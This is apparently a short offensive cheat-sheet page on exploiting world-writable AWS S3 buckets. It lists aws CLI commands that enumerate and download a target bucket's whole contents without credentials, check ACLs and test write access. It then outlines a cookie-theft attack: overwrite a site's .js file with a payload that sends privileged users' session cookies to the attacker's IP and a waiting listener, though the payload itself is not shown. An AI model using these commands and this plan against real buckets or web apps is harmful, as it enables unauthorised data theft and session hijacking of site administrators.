World-Writable S3 Buckets
World-Writable S3 Buckets Exploitation
Steps and commands
mkdir TARGET_BUCKET_NAME; cd TARGET_BUCKET_NAME/ aws s3 ls s3://BUCKET_NAME-BUCKET_ID --recursive --no-sign-request aws s3 cp s3://BUCKET_NAME-BUCKET_ID . --recursive --no-sign-request aws s3api get-bucket-acl --bucket BUCKET_NAME-BUCKET_ID --no-sign-request aws s3api get-object-acl --bucket BUCKET_NAME-BUCKET_ID --key EXAMPLE/FILE.TXT --no-sign-request cd EXAMPLE/ echo test > test Alternate method to check for world read/writeable S3 Buckets: AWS macie2
Use case example: Steal admin cookie
If we have verified that we can actually write arbitrary files on a bucket, and the webapp has pages that can only be accessed by privileged users, we can steal their session cookies by overwriting a legitimate .js file with our own malicious code.
Code:
Backup the .js file first
Place this payload before the legitimate contents of the file. Don't forget to change localhost with your corresponding IP address
Then upload the file to the bucket
Setup listener to fetch the cookie if the webapp uses automation, or an admin somehow triggers our payload
Last updated